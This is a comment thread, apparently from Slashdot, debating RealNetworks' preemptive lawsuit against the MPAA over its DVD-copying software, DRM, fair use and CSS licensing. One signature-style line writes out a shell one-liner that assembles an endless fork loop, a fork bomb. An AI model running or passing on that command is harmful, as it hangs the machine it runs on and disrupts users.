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RealNetworks, Film Industry Headed To Court
netbuzz writes "Apparently tired of waiting to be sued by the movie studios over its new DVD-to-PC copying software, RealNetworks this morning announced it will file a preemptive lawsuit in an attempt to authoritatively establish that the product does not infringe on copyright restrictions. Within an hour or so, the Motion Picture Association of America said it would have a litigation announcement of its own this afternoon."
RealNetworks is saying "Hey look at me everyone! Why doesn't anyone ever notice me?"
Because well, it just is. At least for me.
I think you underestimate just how much I just dont care.
vs the MPAA.
Nope, I give up. I can't decide which I want to lose.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Ah! Lawyers...
Always trying to make trouble when there is none yet...
When did Real become non-evil?
(RealPlayer for Linux is actually a really good media player. Works well, plays everything, none of the quasi-spyware behaviour it was famous for on Windows. CULTURE SHOCK!)
http://rocknerd.co.uk
If we're really lucky, they both will spend exorbitant amounts of money litigating, and then the judge will award $1 to the plaintiff.
I am officially gone from
*continues to use DVD Shrink for free anyway since it has no DRM*
It's better to vote for what you want and not get it than to vote for what you don't want and get it.
- E. Debs
Judge: This court finds in favor of the MPAA.
Real: But... we sued them!
Judge: Look, I understand you're a startup company...
Real: We've been around forever!
Judge: ---Really? Never heard of you. $10 million or 40,000 innocent souls to the MPAA, to be paid by Friday.
Those who believe the Internet is private,
find their privates are on the Internet.
does RealNetworks' DVD copying software _charge users $20_ for burning DVDs playable on multiple computers (still limited to a maximum of 5)?
how can they purport to be a champion of consumer rights/fair use when they're charging users to burn copies of their own DVDs and restricting users from playing these copies from more than 5 computers?
and who exactly are users paying the $20 to for being able to play their copies on more than one computer if not the MPAA or film makers? they actually have the galls to charge users for an additional license fee on works that they don't hold the rights to, and then they're turning around and saying that they're defending fair use rights? what a load of BS.
consumers should be allowed to make backups of their purchases without DRM and usage restrictions. they shouldn't have to pay for the right to make DVD copies that are playable on multiple computers, much less pay RealNetworks for that right.
I took at look at RealNetworks' filing, but it didn't elicit much useful information:
Plantiffs RealNetworks, Inc. (herein known as PlantiBUFFERING... 4%
Karma: Excellent Birds (mostly as a result of listening to Laurie Anderson)
Whoa whoa whoa now. I think the lack of naked celeb-titties in other DVD copying software is pretty big missing feature. Don't act so smug when they clearly have the superior product. Seriously, what are you worried about with the spyware in this case? If it shows naked celeb-titties while ripping DVDs are you actually going to use that computer for anything other than ripping mass quantities of DVDs?
The only change I can believe in is what I find in my couch cushions.
A courtroom is something most of us with even a modicum of common sense do our best to stay out of. There are no guarantees (well none except that the lawyers on both sides will get rich) of what can happen in there. To go all preemptive over this must mean that Real suspects that the MPAA themselves are not wanting to see this before a judge and Real feels they may have leverage. Heaven knows that the MPAA otherwise is hardly shy or retiring about filing suits of their own over imagined slights.
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
This is not about "your rights". This is about lawyers making sure they and their counterparts are assured the driver's seat on this particular gravy train. There are plenty of other DVD copying programs out there being soundly ignored by MPAA and Real is already more reputable (in terms MPAA would accept) than the others. The only way the MPAA would be ready to reply same day with their own announcement is if they were already planning on doing so, and that requires knowing Real's intentions prior to their announcement. Much as I enjoy MPAA getting tweaked, I'm not going to credit Real with altruism when this amounts to nothing more than self-serving PR and income enhancement via docket padding.
"I may be synthetic, but I'm not stupid." -- Bishop 341-B
It is a bit like politics. I know all the politicians have alterior motives. I know that they are just doing this because the publicity will help them. But, I would be foolish not to support them when the outcome of their publicity stunt would be in my favor.
Or this scenario:
Victim: *getting punched in the face by hoodlum A*
Hoodlum B: It is wrong to punch him in the face, I'm calling the cops.
Hoodlum A: You punched him last week and I didn't call the cops.
Victim: Yes, I agree, that would be hypocritical, therefore I would not want you to call the police.
I may not like someone, and I may not like their past actions, and their present actions may be hypocritical based on their past actions, but if what they are doing now is what is right, then it is really foolish to reject the message because you don't like the messenger.
Out of modpoints but really liked a post? 1BDkF6TtmmeZ3yqXbz9yhdYVqRYnwFoXDj
Their motivation is commercial, but RealNetworks is nevertheless defending (some aspects of) fair use. What is very important is that RealNetworks is saying that content owners do not get to make the final determination of what is and is not fair use.
The content owners have been overreaching on copyright by a large amount and for a long time now. I happen to think the current copyright law gives them far too much. But even saying "you only get to take what the law gives you and no more" would be an improvement on the present situation.
Some nice action in the commercial marketplace to push the grabby MPAA back into the spacious terrain that's been staked out for them is a Good Thing.
"How to Do Nothing," kids activities, back in print!
I wouldn't have guesses that you could preemptively sue someone who could sue you. Makes me see Jack Thompson from a different light, maybe he was just having fun with the legal system.
That's for example what happened between Linux and SCO in Germany with excellent effect.
SCO: We will sue all Linux users!
Linux: Sue or shut up.
Court: Sue or shut up. If you don't sue and repeat any claims, there will be a fine.
SCO: Mostly shuts up; from time to time SCO Germany messes up, links to files of SCO US, pays a fine.
I bought RealJukebox and really liked it. The license said I had access to upgrades for the lifetime of the product. This purchase included the full version of RealPlayer too, with no adverts.
Then they changed the license terms within months (at the time they introduced OnePlayer) and said I had to repurchase at full price if I wanted to upgrade to OnePlayer. Oh, and they discontinued RealJukebox, and I wasn't allowed to update my copy of standalone realplayer either without paying the full licence fee again.
I wouldn't have minded a small upgrade fee I guess, although I would have grumbled, but I paid a fair bit for my original licence, and I was pissed off that it got junked so fast.
The chances of my paying for or using a RealNetworks product again are pretty much nonexistant.
A learning experience is one of those things that say, 'You know that thing you just did? Don't do that.' - D. Adams
When SCO was going around saying they were going to sue Linux users for vague, unspecified "IP" claims, Red Hat preemptively sued SCO, telling them, essentially, to put-up-or-shut-up about their claims.
http://www.groklaw.net/article.php?story=169 (from 2003).
Seriously though, all of these DRM schemes (Real, CSS itself, FairPlay, whatever) are attempts to tie the license to a copyrighted work to a specific device as opposed to a person . Therein lies the root of the entire problem.
It's not so much how the content is encrpted or what it works with or doesn't. That's the big red herring in all of these arguments. The important question is "what do customers actually buy?"
Are you buying a physical copy? That is the old model - go to the store, buy a disk, and it plays on all your devices. If it breaks or wears out, you buy another.
Are you buying a license to use the work instead? If so, the customer's rights are seperate from the physical copies. See, for example, site licenses for software, where you may have one CD and 100 licenses that can be moved from device to device as needed.
The whole idea behind these DRM schemes is an attempt to sell copies under the "old model" when the market is demanding the second, and is enabled by current technology such that it's now feasible for things to work that way. Indeed, it appears that the *AA are really trying to combine the worst aspects of both models to create a "third way" that really boils down to rent-seeking instead of sales. In other words, content is never purchased, but is merely rented.
The solution is a model where the works are licensed to an individual. The *AA could easily provide a "registration service" for specific works that could be referred to if a question as to licensing ever arose.
Copyright is not per se a bad thing at all, but the abuse of it to generate repeat sales of the same works to the same individual IS flat-out evil.
Real looks to be pulling a publicity stunt.
Possibly, or possibly they're trying to protect their own interests, much as Red Hat was when they preemptively sued SCO.
to attract attention to their terrible company
Ah yes, we all know that companies never change: IBM is still a hostile predator who refuses to acknowledge any software that wasn't developed in-house. They'd never in a million years consider supporting something as alien as Linux.
The nineties called and want their whine back (as well as their stale "decade X called and wants its Y back" joke). :)
I find it ironic when Windows users whine about Real (and in my experience, it's only Windows users that whine about Real). Everything they complain about in Real is among the reasons I stopped using ... er, actually, never really started using ... Windows. What's the difference between MS and Real? Real's main product is 90% open source, they actively support the community development efforts, their software has been bundled with Debian for years (at least, the 90% which meet the DFSG), they actively support Linux, and they seem to have made a massive effort to change their corporate culture since they hit rock-bottom in the early part of this decade (not unlike how IBM changed after bottoming out after the PS2 disaster). But some people can't forget the fact that they once saw an ad ten years ago, so Real will be evil forever. Dumbasses! :)
This Emperor truly has no clothes. Here's why...
CSS encryption was broken so long ago by now that a lot of people don't even remember non-crackable movie DVDs. At best it's a low tripwire rather than an insurmountable barrier.
The content industry contends that Real's product, like Kaleidoscope's before them, removes even the tripwire for people who are too stupid to know how to Google. They further contend that there's this "delicate balance" of DRM that allows the studios to release their "incredibly valuable" content to the consumers in standard digital form and still sleep at night. Without keeping this nebulous veil that the works are protected against copying the studios would not release any movies to DVD any longer.
IT'S A LIE!
Studios make half their profits from any movie off of DVD sales. They can't afford to give them up. Blockbuster rentals didn't destroy them. Netflix hasn't destroyed them. deCSS hasn't destroyed them, and neither will Real. In short:
THE STUDIOS AREN'T GOING TO QUIT SELLING DVDs BECAUSE THEY CAN'T AFFORD TO!
So much for the big scary stories that your DVD player is about to become a paperweight. Ain't going to happen. Yeah they'll make a bit less than extracting every last penny, but they're not going to pull DVD sales because there is yet another hole in the armor of DRM.
In fact, DRM never was about "copy protection". Make a bit-by-bit copy of any movie DVD with all the DRM intact and the copy plays just like the original.
CSS DRM DOES NOT PREVENT EXACT COPIES FROM BEING MADE! IT ISN'T COPY PROTECTION!
Are we clear on that now? All DRM does is limit your ability on where and how you can play your lawfully purchased content. The content provider would like to sell you one copy to play on your television, then another full price copy to play on your computer, and then another full price copy to play on your game console, your game handheld, your portable DVD player... They'd love to sell you the same content over and over and over again (think vinyl, cassette, CD, iTunes).
The problem is that people now have more choices than ever (HDTV, PC, Gameboy, iPod) all at the same time and they want to Buy-Once-Play-Everywhere. Furthermore they don't see why they shouldn't be allowed to do this. And every moderate to wealthy household has a powerful engine in their own personal computer(s) capable of making all this happen. The movie industry's dream of pay-per-each-viewing, pay-per-device is a lovely dream not likely to ever be realized. Try that and there will be a revolution that will truly put them in their place.
So don't buy into the farce that only DRM makes it possible for us to have DVD movies. PROFITS are what make it possible for us to have DVD movies and those profits are still there. Enough people buy legal DVDs to keep the system running, and are likely to continue to do so.
So quit lying to us about the necessity of DRM, or how Real can't be allowed to do what is already being done. Try to make our lives simplier, not more complex, and quit trying to pick our pockets every moment. Times are hard enough right now as it is, and I don't see movie star and studio executive salaries declining as fast as my own yet.
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
I bet you didn't know that, ahem ..
"The worldwide motion picture industry, including foreign and domestic producers,
distributors, theaters, video stores and pay-per-view operators lose more than $18 billion
annually as a result of movie theft. More than $7 billion in losses are attributed to illegal
Internet distributions, while $11 billion is the result of illegal copying and bootlegging."
http://www.mpaa.org/press_releases/realdvd%20press%20release%209%2030%2008%20final.pdf
My turnips listen for the soft cry of your love
The naked celeb-titties in question belong to Marlon Brando.
Hold on there slugger. That one-two punch you got there is a bit iffy. Not touching RealNetwork software for 10 years actually gives your arguments and opinions less weight. I would be starting to seriously question your opinions if you had said two years. But ten years in software time is a freaking eternity.
Once you start despising the jerks, you become one.
1. Sometimes you just don't get a second chance to make a first impression. Cruel, maybe, but it just means that some of us have a working memory. If I put my finger into the flame once as a kid, I don't try it again. I don't go thinking, "well, maybe fire changed in the meantime." And if I got burned by a company once, maybe I won't give them a second chance either. Deal with it. They shouldn't have been dumbasses in the first place, if they can't take the consquences later.
It's not just some discrimination against Real. If Anarchy Online was a festering pile of crap at launch, I don't go and reactivate my account every other month to see if they finally fixed it. I'm just not interested any more. There are alternatives. They had their one chance at my money, I don't owe them a second one. Etc. Same with Real. Plain and simple.
And in the end, I find nothing wrong with that. If you could just completely erase _all_ consequences of past asshole behaviour, there would be no incentive to not be an asshole in the first place. If a company can try to be evil in one year, then just proclaim itself reformed and suffer no further inconvenience. It would, in fact, be outright stupid to _not_ try something evil, if it doesn't harm you more than a couple of months worth of sales. You try it and if it works, you strike it big, and if you don't, you just proclaim yourself reformed and good. I don't like that prospect. I quite like it that pissing off your customers can haunt you long term. Keeps other fucktards from trying to be evil.
2. I don't buy the whole "suddenly they're non-evil" crap anyway. Hello? We're talking about yet another company pushing a crap DRM.
And in this particular case I have no sympathy for them either. If they had offered a non-DRM-ed way to rip your movies to, say, MPEG, I'd even be on their side. Yay for whoever sticks it to MPAA. But they're just trying to replace one crap DRM with their own crap DRM, and an expensive one at that. It's not even _instead_ of the MPAA DRM. Now I pay the DVD tax once when I buy the DVD, and have to pay Real extra to play my backup on any other machine. Hello? Even skipping the financial aspect, it's a more retardedly draconian DRM than what it replaces. A DVD doesn't forbid me from taking it out of one computer and playing it on another.
But that financial aspect is what bothers me the most, actually, because that's where they lose any moral high ground imaginable. They're adding their own DRM crap to someone else's work, and extorting some money to be able to play it. I see it no different morally from the guy selling burned DVDs to profit from someone else's work. It's not some great strike for freedom, it's yet another sleazeball trying to add his own shackles on that chain and milk it too.
So basically I don't see them as really changed at all. It's the same sleazeballs trying another angle at still being sleazeballs.
And sometimes supporting Linux doesn't make everything else right. E.g., if I used Linux to empty your bank account, it would still be a crime. And some evil sleazeballs who support Linux are still evil and sleazeballs. Sometimes the enemy of my enemy still isn't my friend.
And sometimes "90% open source" is just the sweetener for the other 10% which are a DRM as evil as anyone else's. And in this case they're strapping it on someone else's work.
A polar bear is a cartesian bear after a coordinate transform.
Might I add that yes, I do know there's a difference between outright "Copy Protection" and "DRM" and that some labels use one while other labels use the other. To which I say: "Calling it 'copy protection' in most circumstances is confusing, as it should be 'obfuscation' instead -- if that's what the desired result is. Copy protection should only be applied for making direct copies, rather than preventing the translation or transfer from one format to the other." Topically, in the case of Real, that seems to be what the MPAA is on about.
IMO, The point they SHOULD be attacking is that Real is asking to make money off these translated copies (which they have no right to do), but Real can counter that by saying they are only charging for the translation fee, not for the actual copy of the media. MPAA says "that's not what you're advertising" Then the fencing can begin!
I am the richest astronaut ever to win the superbowl.
The lawsuit has nothing to do with whether or not RealNetworks' product infringes copyright restrictions. It has to do with whether or not RealNetworks' product violates the contract that they signed to legally get the CSS keys for DVDs. That contract is essential to avoid violating the DMCA with DVD copying software; having it gives you permission to create products that decrypt DVDs. That's what tripped up 321 Studios a few years back; they didn't have a CSS contract.
Just recently a judge ruled that the "CSS General Specifications", which are given to a licensee after the contract is signed (ostensibly because the specs include confidential information that can only be disseminated after the licensee is bound by the contract), are not themselves part of the contract. As the provisions forbidding copying are written up in the "CSS General Specifications," the judge ruled that the contract itself does not forbid creating products that copy DVDs. That ruling has been appealed, but I haven't been able to find anything about the appeal. I presume that it hasn't been heard yet.